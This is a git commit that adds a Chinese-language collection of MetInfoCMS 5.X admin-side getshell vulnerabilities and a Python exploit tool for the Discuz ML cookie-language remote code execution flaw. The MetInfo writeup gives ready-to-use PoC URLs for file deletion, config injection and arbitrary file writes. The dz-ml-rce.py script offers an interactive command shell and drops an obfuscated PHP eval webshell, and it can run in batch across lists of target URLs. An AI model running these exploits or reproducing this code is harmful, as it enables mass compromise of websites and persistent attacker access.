upload discuz-ml-rce

This commit is contained in:
mr-xn 2019-07-25 10:14:52 +08:00
parent 8af2b43eca
commit 187e909d76
15 changed files with 851 additions and 0 deletions

View File

@ -0,0 +1,331 @@
MetInfoCMS 5.X版本GETSHELL漏洞合集
## 0x00 前言
2018年1月底MetInfoCMS官方隆重发布6.0版本调整了之前“漏洞百出”的框架结构了多个5.X的版本后台Gestshell漏洞。
## 0x01安装过程过滤不严导致Getshell
*前提:有删除/config/install.lock权限*
> 默认安装的时候设置了权限的@chmod('../config/install.lock',0554);,所以需要在权限修改了的情况下才能利用这个
### 1. 结合网上爆出的后台任意文件删除漏洞
```php
#/admin/app/batch/csvup.php
$classflie=explode('_',$fileField);
$classflie=explode('-',$classflie[count($classflie)-1]);
$class1=$classflie[0];
$class2=$classflie[1];
$class3=$classflie[2];
$class=$class3?$class3:($class2?$class2:$class1);
$classcsv=$db->get_one("select * from $met_column where id=$class");
if(!$classcsv){
metsave("../app/batch/contentup.php?anyid=$anyid&lang=$lang",$lang_csvnocolumn,$depth);
}
# 省略代码
@file_unlink($flienamecsv);
```
删除/config/install.lock文件可以导致重装需要由对应的删除权限删除文件的poc如下
```html
http://xxx.com/admin/app/batch/csvup.php?fileField=1_1231-1&flienamecsv=../../../config/install.lock
```
### 2. 重装时数据库配置文件过滤不当
```php
#/install/index.php
case 'db_setup':
{
if($setup==1){
$db_prefix = trim($db_prefix);
$db_host = trim($db_host);
$db_username = trim($db_username);
$db_pass = trim($db_pass);
$db_name = trim($db_name);
$config="<?php
/*
con_db_host = \"$db_host\"
con_db_id = \"$db_username\"
con_db_pass = \"$db_pass\"
con_db_name = \"$db_name\"
tablepre = \"$db_prefix\"
db_charset = \"utf8\";
*/
?>";
$fp=fopen("../config/config_db.php",'w+');
fputs($fp,$config);
fclose($fp);
```
在数据库配置时$db_host,$db_username,$db_pass,$db_name,$db_prefix参数可控。
### 3. POC
数据库配置时修改任意参数为`*/phpinfo();/*`可导致Getshell。点击保存之后直接访问/config/config_db.php即可getshell。
shell地址:`http://xxx.com/config/config_db.php`
## 0x02 CVE-2017-11347补丁绕过继续Getshell
*前提windows服务器+网站绝对路径只需要知道网站index.php所在目录的上一级目录名*
### 1. 查找绝对路径的方法:
- 利用安装目录下的phpinfo文件 `/install/phpinfo.php`
- 利用报错信息(
信息在HTML注释中必须通过查看网页源码的方式才能获取内容否则看上去是空白页
)
```
/app/system/include/public/ui/admin/top.php
/app/system/include/public/ui/admin/box.php
/app/system/include/public/ui/web/sidebar.php
```
### 2. 漏洞分析
5.3.19版本针对CVE-2017-11347的补丁分析
```
switch($val[2]){
case 1:
$address="../about/$fileaddr[1]";
break;
case 2:
$address="../news/$fileaddr[1]";
break;
case 3:
$address="../product/$fileaddr[1]";
break;
case 4:
$address="../download/$fileaddr[1]";
break;
case 5:
$address="../img/$fileaddr[1]";
break;
case 8:
$address="../feedback/$fileaddr[1]";
break;
default:
$address = "";
break;
}
$newfile ="../../../$val[1]";
if($address != ''){
Copyfile($address,$newfile);
}
}
}
```
5.3.19版本采取:即使在$var[2]为空时默认给address变量赋值为空并且会判断address参数不为空才调用Copyfile。但是当$var[2]不为空时由于fileaddr[1]可控导致仍然可以控制文件路径从而Getshell。
漏洞利用(网站安装在服务器根路径的情况)
第一步新建1.ico文件内容为<?php phpinfo();?>
在后台"地址栏图标"处上传该文件。
得到地址为http://localhost/upload/file/1506587082.ico
第二步发送如下payload(注意左斜杠和右斜杠不能随意更改):
```
http://localhost/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\upload\file\1506587082.ico/..\..\..\www\about\shell.php|1
```
shell的地址为
```
http://localhost/about/shell.php
```
### 3. POC(注意左斜杠和右斜杠不能随意更改)
```
http://localhost/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\上传ico文件的相对路径/..\..\..\网站index.php路径的上一层目录名\about\webshell的文件名|1
```
特别注意其中的“网站index.php上层目录名”
1.如果网站安装在服务器根目录这wamp/phpstudy默认目录值为“www"网站index.php上层目录名设置为"www"; 如果为lamp环境这默认目录值为“html”网站index.php上层目录名设置为"html";。其他的环境类推(利用绝对路径泄露)。
2.如果网站安装在服务器的二级目录下则网站index.php上层目录名设置为二级目录名。
例如:网站搭建在:http://localhost/MetInfoCMS /,则第二步的payload如下
```
http://localhost/MetInfoCMS/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\upload\file\1506588072.ico/..\MetInfoCMS.\MetInfoCMS \about\shell.php|1
```
相应生成的shell地址为
```
http://localhost/MetInfoCMS/about/shell.php
```
## 0x03 Copyindx函数处理不当Getshell
### 1. 声明
此漏洞点位于admin/app/physical/physical.php文件漏洞和CVE-2017-11347漏洞十分相似但是存在根本的差异不同点如下
1触发函数是Copyindex函数而非Copyfile
2此漏洞不是利用文件包含require_one而是利用任意内容写入
3此漏洞Getshell不需要上传图片
4结合CSRF可以实现一键Getshell
### 2. 漏洞点
```
# admin/app/physical/physical.php:197-236
switch($op){
case 1:
if(is_dir('../../../'.$val[1])){
deldir('../../../'.$val[1]);
echo $lang_physicaldelok;
}
else{unlink('../../../'.$val[1]);
echo $lang_physicaldelok;
}
break;
case 2:
$adminfile=$url_array[count($url_array)-2];
$strsvalto=readmin($val[1],$adminfile,1);
filetest('../../../'.$val[1]);
deldir('../../../'.$val[1]);
$dlappfile=parse_ini_file('dlappfile.php',true);
if($dlappfile[$strsvalto]['dlfile']){
$return=varcodeb('app');
$checksum=$return['md5'];
$met_file='/dl/app_curl.php';
$stringfile=dlfile($dlappfile[$strsvalto]['dlfile'],"../../../$val[1]");
}else{
$met_file='/dl/olupdate_curl.php';
$stringfile=dlfile("v$metcms_v/$strsvalto","../../../$val[1]");
}
if($stringfile==1){
echo $lang_physicalupdatesuc;
}
else{
echo dlerror($stringfile);
die();
}
break;
case 3:
$fileaddr=explode('/',$val[1]);
$filedir="../../../".$fileaddr[0];
if(!file_exists($filedir)){ @mkdir ($filedir, 0777); }
if($fileaddr[1]=="index.php"){
Copyindx("../../../".$val[1],$val[2]);
}
```
当$action等于op而且$op等于3的时候如果$filedir不存在则创建$filedir目录而且如果$fileaddr[1]等于"index.php"则调用Copyindex函数并传入$val[1]和$val[2]参数,此处两个参数来自变量$valphy,均可控跟进Copyindex函数源码如下
```
#admin/include/global.func.php:877-884
function Copyindx($newindx,$type){
if(!file_exists($newindx)){
$oldcont ="<?php\n# xxx Enterprise Content Management System \n# Copyright (C) xxx Co.,Ltd (http://www.xxx.cn). All rights reserved. \n\$filpy = basename(dirname(__FILE__));\n\$fmodule=$type;\nrequire_once '../include/module.php'; \nrequire_once \$module; \n# This program is an open source system, commercial use, please consciously to purchase commercial license.\n# Copyright (C) xxx Co., Ltd. (http://www.xxx.cn). All rights reserved.\n?>";
$fp = fopen($newindx,w);
fputs($fp, $oldcont);
fclose($fp);
}
}
```
可见,直接把参数$type直接赋值给$fmodule,并写入文件内容所以可以构造payload直接getshell.
### 3. POC(xxx为任意的shell目录index.php文件名不能修改)
生成的shell地址
```
http://localhost/MetInfoCMS/xxx/index.php
```
## 0x04 olupdate文件缺陷导致Getshell
### 1. 漏洞点
```
#/admin/system/olupdate.phpwen文件中当$action=sql,$sql!=No Date且$sqlfile不是数组时进入如下过程
#326-360行
$num=1;
$random = met_rand(6);
$date=date('Ymd',time());
require_once '../system/database/global.func.php';
do{
$sqldump = '';
$startrow = '';
$tables=tableprearray($tablepre);
$sizelimit=2048;
$tableid = isset($tableid) ? $tableid - 1 : 0;
$startfrom = isset($startfrom) ? intval($startfrom) : 0;
$tablenumber = count($tables);
for($i = $tableid; $i < $tablenumber && strlen($sqldump) < $sizelimit * 1000; $i++){
$sqldump .= sql_dumptable($tables[$i], $startfrom, strlen($sqldump));
$startfrom = 0;
}
$startfrom = $startrow;
$tableid = $i;
if(trim($sqldump)){
$sqlfile[]=$bakfile = "../update/$addr/{$con_db_name}_{$date}_{$random}_{$num}.sql";
$version='version:'.$metcms_v;
$sqldump = "#xxx.cn Created {$version} \n#{$met_weburl}\n#{$tablepre}\n#{$met_webkeys}\n# --------------------------------------------------------\n\n\n".$sqldump;
if(!file_put_contents($bakfile, $sqldump)){
dl_error($lang_updaterr2."({$adminfile}/update/$addr/{$con_db_name}_{$date}_{$random}_{$num}.sql)",$type,$olid,$ver,$addr,$action);
}
}
$num++;
}
while(trim($sqldump));
if(is_array($sqlfile)) $string = "<?php\n \$sqlfile = ".var_export($sqlfile, true)."; ?>";
filetest("../update/$addr/sqlist.php");
if(!file_put_contents("../update/$addr/sqlist.php",$string)){
dl_error($lang_updaterr2."({$adminfile}/update/$addr/sqlist.php)",$type,$olid,$ver,$addr,$action);
}
```
此时由于sqlfile不是数组即is_array($sqlfile)不成立,导致$string没有初始化可以任意修改接着调用file_put_contents将string的值写到/update/$addr/sqlist.php文件。
*PS:这里有一个小点,由于输入控制sqlfile不是数组第345行执行$sqlfile[]=$bakfile = "../update/$addr/{$con_dbname}{$date}{$random}{$num}.sql";会导致给字符串赋值报错导致无法执行到后面的Getshell部分。所以需要构造payload使得trim($sqldump)为空,即$sqldump值为空从而跳过$sqlfile[]赋值部分这里构造tableid=1000(其实只要>=44即可)*
最后的payload结构如下
```
/admin/system/olupdate.php?action=sql&sqlfile=1&string=shell内容&addr=shell的目录&tableid=1000
```
### 2.POC (参数addr为生成shell的目录生成shell的文件名sqlist.php不可控)
```
http://xxx.com/admin/system/olupdate.php?action=sql&sqlfile=1&string=<?php phpinfo();?>&addr=12313&tableid=1000
```
执行后的shell地址
```
http://xxx.com/admin/update/12313/sqlist.php
```
## 0x05小结
都是需要后台管理员权限才能利用的漏洞不过危害还是比较大没有升级的网站赶紧升级6.0版本哦!
前几个都有一定的条件要求,后面两个比较通杀!

View File

@ -39,6 +39,8 @@
- [S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号](S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号.md)
- [S-CMS PHP v3.0存在SQL注入漏洞](S-CMS%20PHP%20v3.0存在SQL注入漏洞.md)
- [dede_burp_admin_path-dedecms后台路径爆破(Windows环境)](dede_burp_admin_path.md)
- [MetInfoCMS 5.X版本GETSHELL漏洞合集](MetInfoCMS 5.X版本GETSHELL漏洞合集.md)
- [discuz ml RCE 漏洞检测工具](discuz-ml-rce/README.md)
## Mobile APP

21
discuz-ml-rce/LICENSE Normal file
View File

@ -0,0 +1,21 @@
MIT License
Copyright (c) 2019 LSA
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

83
discuz-ml-rce/README.md Normal file
View File

@ -0,0 +1,83 @@
dz-ml-rce.py discuz ml RCE 漏洞检测工具
==
----------------
# 概述
<br/>
漏洞在于cookie的language可控并且没有严格过滤导致可以远程代码执行详情参考
[discuz ml RCE漏洞重现及分析](http://www.lsablog.com/networksec/penetration/discuz-ml-rce-analysis/)
<br/>
本工具支持单url和批量检测有判断模式只判断有无该漏洞、cmdshell模式返回简单的cmd shell和getshell模式写入一句话木马
----------------
# 需求
<br/>
python2.7<br/>
pip -r requirements.txt
<br/><br/>
**使用时加上漏洞PHP页面如forum.php,portal.php直接写域名可能会重定向导致误报!**
----------------
# 快速开始
<br/>
使用帮助<br/>
python dz-ml-rce.py -h<br/>
![](https://github.com/theLSA/discuz-ml-rce/raw/master/demo/dzmlrce06.png)
<br/>
判断模式<br/>
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" <br/>
![](https://github.com/theLSA/discuz-ml-rce/raw/master/demo/dzmlrce02.png)
<br/>
cmdshell模式<br/>
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell<br/>
![](https://github.com/theLSA/discuz-ml-rce/raw/master/demo/dzmlrce03.png)
<br/>
getshell模式<br/>
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell<br/>
![](https://github.com/theLSA/discuz-ml-rce/raw/master/demo/dzmlrce04.png)
<br/>
批量检测<br/>
python dz-ml-rce.py -f urls.txt<br/>
![](https://github.com/theLSA/discuz-ml-rce/raw/master/demo/dzmlrce01.png)
<br/>
批量getshell<br/>
python dz-ml-rce.py -f urls.txt --getshell<br/>
![](https://github.com/theLSA/discuz-ml-rce/raw/master/demo/dzmlrce09.png)
----------------
# TODO
有空会做各种优化。
----------------
# 反馈
[issus](https://github.com/theLSA/discuz-ml-rce/issues)
<br/>
博客http://www.lsablog.com/networksec/penetration/discuz-ml-rce-analysis/
<br/>
gmaillsasguge196@gmail.com
<br/>
qq2894400469@qq.com

View File

@ -0,0 +1 @@
http://www.xxx.com/home.php

View File

@ -0,0 +1 @@
http://www.xxx.cn/forum.php

Binary file not shown.

After

Width:  |  Height:  |  Size: 90 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 29 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 199 KiB

406
discuz-ml-rce/dz-ml-rce.py Normal file
View File

@ -0,0 +1,406 @@
# coding:utf-8
# Author:LSA
# Description:discuz ml rce(cookie-language)
# Date:20190714
import requests
import optparse
#from requests.packages import urllib3
import sys
import urllib3
import re
from bs4 import BeautifulSoup
import Queue
import threading
import os
import datetime
reload(sys)
sys.setdefaultencoding('utf-8')
lock = threading.Lock()
q0 = Queue.Queue()
threadList = []
global success_count
success_count = 0
total_count = 0
def get_setcookie_language_value(tgtUrl,timeout):
urllib3.disable_warnings()
tgtUrl = tgtUrl
try:
rsp = requests.get(tgtUrl, timeout=timeout, verify=False)
rsp_setcookie = rsp.headers['Set-Cookie']
# print rsp.text
pattern = re.compile(r'(.*?)language=')
language_pattern = pattern.findall(rsp_setcookie)
setcookie_language = language_pattern[0].split(' ')[-1].strip() + 'language=en'
return str(setcookie_language)
except:
print str(tgtUrl) + ' get setcookie language value error!'
return 'get-setcookie-language-value-error'
def dz_ml_rce_check(tgtUrl, setcookie_language_value, timeout):
tgtUrl = tgtUrl
check_payload = setcookie_language_value + '\'.phpinfo().\';'
headers = {}
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36";
headers["Cookie"] = check_payload;
check_rsp = requests.get(tgtUrl,headers=headers,timeout=timeout,verify=False)
#print headers['Cookie']
if check_rsp.status_code == 200:
try:
if (check_rsp.text.index('PHP Version')):
print 'target is vulnerable!!!'
else:
soup = BeautifulSoup(check_rsp.text, 'lxml')
if (soup.find('title')):
print 'target seem not vulnerable-' + 'return title: ' + str(soup.title.string) + '\n'
except ValueError, e:
print 'target seem not vulnerable-' + e.__repr__()
except:
print 'target seem not vulnerable-Unknown error.'
else:
print 'Target seem not vulnerable-status code: ' + str(check_rsp.status_code) + '\n'
def dz_ml_rce_cmdshell(tgtUrl, setcookie_language_value, timeout):
#cmdshell_pattern = re.compile(r'([\s][\S]*?)<!DOCTYPE html')
tgtUrl = tgtUrl
cmd_exp = '\'.system(\'{0}\').\';'
cmd_test = 'echo zxc000'
cmd_exp_test = setcookie_language_value + cmd_exp.format(cmd_test)
headers = {}
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36";
headers["Cookie"] = cmd_exp_test;
cmd_exp_rsp = requests.get(tgtUrl,headers=headers,timeout=timeout,verify=False)
if cmd_exp_rsp.status_code == 200:
if 'zxc000' in cmd_exp_rsp.text:
print 'Get cmdshell success! type exit to exit.'
while True:
command = raw_input("cmd>>> ")
if command == 'exit':
break
cmd_exp_send = setcookie_language_value + cmd_exp.format(command)
headers['Cookie'] = cmd_exp_send
cmd_exp_rsp = requests.get(tgtUrl,headers=headers,timeout=timeout,verify=False)
cmdshell_result = cmd_exp_rsp.text[0:1000].split('<!DOCTYPE html')[0].strip()
#cmdshell_result = cmdshell_pattern.findall(cmd_exp_rsp.text[0:100])
print cmdshell_result
else:
print 'Get cmdshell seem failed-can not find zxc000.'
else:
print 'Get cmdshell seem failed-status code: ' + str(cmd_exp_rsp.status_code) + '\n'
def dz_ml_rce_getshell(tgtUrl, setcookie_language_value, timeout):
getshell_exp = '\'.file_put_contents%28%27x.php%27%2Curldecode%28%27%253c%253fphp%2520@eval%28%2524_%25%35%30%25%34%66%25%35%33%25%35%34%255b%2522x%2522%255d%29%253b%253f%253e%27%29%29.\';'
getshell_exp_send = setcookie_language_value + getshell_exp
headers = {}
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36";
headers['Cookie'] = getshell_exp_send
filename = tgtUrl.split('/')[-1]
getshell_rsp = requests.get(tgtUrl, headers=headers, timeout=timeout, verify=False)
# print headers['Cookie']
if getshell_rsp.status_code == 200:
getshell_rsp1 = requests.get(tgtUrl.split(filename)[0] + 'x.php', timeout=timeout, verify=False)
#print tgtUrl.split('/')[-1]
#print tgtUrl.split(filename)[0] + 'x.php'
if (getshell_rsp1.status_code) == 200 and (getshell_rsp1.text == ""):
print 'Getshell success!-shellPath:' + tgtUrl.split(filename)[0] + 'x.php'
else:
#soup = BeautifulSoup(getshell_rsp1.text, 'lxml')
print 'Getshell failed!-rsp1 status code: ' + str(getshell_rsp1.status_code) + '\nrsp1 text: ' + getshell_rsp1.text[0:100]
else:
print 'Target seem not vulnerable-status code: ' + str(getshell_rsp.status_code) + '\n'
def dz_ml_rce_check_batch(timeout,f4success,f4fail):
global total_count
headers = {}
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36";
while(not q0.empty()):
tgtUrl = q0.get()
qcount = q0.qsize()
print 'Checking: ' + tgtUrl + ' ---[' + str(total_count - qcount) + '/' + str(total_count) + ']'
setcookie_language_value = get_setcookie_language_value(tgtUrl,timeout)
if setcookie_language_value == 'get-setcookie-language-value-error':
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'get setcookie language value error' + '\n')
lock.release()
continue
check_payload = str(setcookie_language_value) + '\'.phpinfo().\';'
headers["Cookie"] = check_payload;
try:
check_batch_rsp = requests.get(tgtUrl, headers=headers, timeout=timeout, verify=False)
except requests.exceptions.Timeout:
#print tgtUrl + ' Checked failed! Error: Timeout'
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: Timeout' + '\n')
lock.release()
continue
except requests.exceptions.ConnectionError:
#print tgtUrl + ' Checked failed! Error: ConnectionError'
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: ConnectionError' + '\n')
lock.release()
continue
except:
#print tgtUrl + ' Checked failed! Error: Unknown error'
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: Unknown error' + '\n')
lock.release()
continue
if check_batch_rsp.status_code == 200:
try:
if (check_batch_rsp.text.index('PHP Version')):
print tgtUrl + ' is vulnerable!!!'
lock.acquire()
f4success.write(tgtUrl+'\n')
lock.release()
global success_count
success_count = success_count + 1
else:
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed!' + '\n')
lock.release()
except ValueError, e:
#print tgtUrl + ' seem not vulnerable-' + e.__repr__()
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: ' + e.__repr__() + '\n')
lock.release()
continue
except:
#print tgtUrl + ' seem not vulnerable-Unknown error.'
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: Unknown error.'+'\n')
lock.release()
continue
else:
#print tgtUrl + ' seem not vulnerable-status code: ' + str(check_batch_rsp.status_code) + '\n'
lock.acquire()
f4fail.write(tgtUrl + ' Checked failed! Error: '+ str(check_batch_rsp.status_code) + '\n')
lock.release()
def dz_ml_rce_getshell_batch(timeout,f4success,f4fail):
headers = {}
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36";
global total_count
while(not q0.empty()):
tgtUrl = q0.get()
qcount = q0.qsize()
print 'Checking: ' + tgtUrl + ' ---[' + str(total_count - qcount) + '/' + str(total_count) + ']'
setcookie_language_value = get_setcookie_language_value(tgtUrl,timeout)
if setcookie_language_value == 'get-setcookie-language-value-error':
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'get setcookie language value error' + '\n')
lock.release()
continue
getshell_exp = '\'.file_put_contents%28%27x.php%27%2Curldecode%28%27%253c%253fphp%2520@eval%28%2524_%25%35%30%25%34%66%25%35%33%25%35%34%255b%2522x%2522%255d%29%253b%253f%253e%27%29%29.\';'
getshell_exp_send = setcookie_language_value + getshell_exp
headers["Cookie"] = getshell_exp_send
try:
getshell_batch_rsp = requests.get(tgtUrl, headers=headers, timeout=timeout, verify=False)
except requests.exceptions.Timeout:
#print tgtUrl + ' Checked failed! Error: Timeout'
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: Timeout' + '\n')
lock.release()
continue
except requests.exceptions.ConnectionError:
#print tgtUrl + ' Checked failed! Error: ConnectionError'
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: ConnectionError' + '\n')
lock.release()
continue
except:
#print tgtUrl + ' Checked failed! Error: Unknown error'
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: Unknown error' + '\n')
lock.release()
continue
if getshell_batch_rsp.status_code == 200:
filename = tgtUrl.split('/')[-1]
getshell_batch_rsp1 = requests.get(tgtUrl.split(filename)[0] + 'x.php', timeout=timeout, verify=False)
if (getshell_batch_rsp1.status_code) == 200 and (getshell_batch_rsp1.text == ""):
print 'Getshell success!-shellPath:' + tgtUrl.split(filename)[0] + 'x.php'
lock.acquire()
f4success.write(tgtUrl.split(filename)[0] + 'x.php' + '\n')
lock.release()
global success_count
success_count = success_count + 1
else:
# soup = BeautifulSoup(getshell_rsp1.text, 'lxml')
#print 'Getshell failed!-rsp1 status code: ' + str(getshell_batch_rsp1.status_code) + '\nrsp1 text: ' + getshell_batch_rsp1.text[0:100]
lock.acquire()
f4fail.write(tgtUrl + '-' + 'Getshell failed!-rsp1 status code: ' + str(getshell_batch_rsp1.status_code) + '\n')
lock.release()
else:
#print tgtUrl + ' seem not vulnerable-status code: ' + str(check_batch_rsp.status_code) + '\n'
lock.acquire()
f4fail.write(tgtUrl + ' Getshell failed! Error: '+ str(getshell_batch_rsp.status_code) + '\n')
lock.release()
def main():
parser = optparse.OptionParser('python %prog ' + '-h', version= '%prog v1.0')
parser.add_option('-u', dest='tgtUrl', type='string', help='single target url')
parser.add_option('-s', dest='timeout', type='int', default=7, help='timeout(seconds)')
# parser.add_option('--check',dest='check',action='store_true',help='check url')
parser.add_option('--getshell', dest='getshell', action='store_true', help='write a shell to target url-x.php,pwd is x')
parser.add_option('--cmdshell', dest='cmdshell', action='store_true', help='cmd shell mode')
parser.add_option('-f', dest='tgtUrlsPath', type ='string', help='urls filepath')
parser.add_option('-t', dest='threads', type='int', default=5, help='the number of threads')
(options, args) = parser.parse_args()
getshell = options.getshell
cmdshell = options.cmdshell
timeout = options.timeout
tgtUrl = options.tgtUrl
global total_count
if tgtUrl and (getshell is None and cmdshell is None):
setcookie_language_value = get_setcookie_language_value(tgtUrl, timeout)
if setcookie_language_value == 'get-setcookie-language-value-error':
sys.exit()
#print setcookie_language_value
dz_ml_rce_check(tgtUrl, setcookie_language_value, timeout)
if tgtUrl and cmdshell:
setcookie_language_value = get_setcookie_language_value(tgtUrl, timeout)
if setcookie_language_value == 'get-setcookie-language-value-error':
sys.exit()
dz_ml_rce_cmdshell(tgtUrl, setcookie_language_value, timeout)
if tgtUrl and getshell:
setcookie_language_value = get_setcookie_language_value(tgtUrl, timeout)
if setcookie_language_value == 'get-setcookie-language-value-error':
sys.exit()
dz_ml_rce_getshell(tgtUrl, setcookie_language_value, timeout)
if options.tgtUrlsPath and (getshell is None):
tgtFilePath = options.tgtUrlsPath
threads = options.threads
nowtime = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
os.mkdir('batch_result/' + str(nowtime))
f4success = open('batch_result/' + str(nowtime) + '/' + 'success-checked.txt', 'w')
f4fail = open('batch_result/' + str(nowtime) + '/' + 'failed-checked.txt', 'w')
urlsFile = open(tgtFilePath)
total_count = len(open(tgtFilePath, 'rU').readlines())
print '===Total ' + str(total_count) + ' urls==='
for urls in urlsFile:
tgtUrls = urls.strip()
q0.put(tgtUrls)
for thread in range(threads):
t = threading.Thread(target=dz_ml_rce_check_batch, args=(timeout, f4success, f4fail))
t.start()
threadList.append(t)
for th in threadList:
th.join()
print '\n###Finished! [success/total]: ' + '[' + str(success_count) + '/' + str(total_count) + ']###'
print 'Results were saved in ./batch_result/' + str(nowtime) + '/'
f4success.close()
f4fail.close()
if options.tgtUrlsPath and getshell:
tgtFilePath = options.tgtUrlsPath
threads = options.threads
nowtime = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
os.mkdir('batch_result/' + str(nowtime))
f4success = open('batch_result/' + str(nowtime) + '/' + 'success-getshell.txt', 'w')
f4fail = open('batch_result/' + str(nowtime) + '/' + 'failed-getshell.txt', 'w')
urlsFile = open(tgtFilePath)
#global total_count
total_count = len(open(tgtFilePath, 'rU').readlines())
print '===Total ' + str(total_count) + ' urls==='
for urls in urlsFile:
tgtUrls = urls.strip()
q0.put(tgtUrls)
for thread in range(threads):
t = threading.Thread(target=dz_ml_rce_getshell_batch, args=(timeout, f4success, f4fail))
t.start()
threadList.append(t)
for th in threadList:
th.join()
print '\n###Finished! [success/total]: ' + '[' + str(success_count) + '/' + str(total_count) + ']###'
print 'Results were saved in ./batch_result/' + str(nowtime) + '/'
f4success.close()
f4fail.close()
if __name__ == '__main__':
main()

View File

@ -0,0 +1,3 @@
urllib3==1.25.3
requests==2.22.0
beautifulsoup4==4.7.1

3
discuz-ml-rce/urls.txt Normal file
View File

@ -0,0 +1,3 @@
http://xxx.org/discuzx/portal.php
http://www.aaa.org.cn/forum.php
https://www.bbb.com/forum.php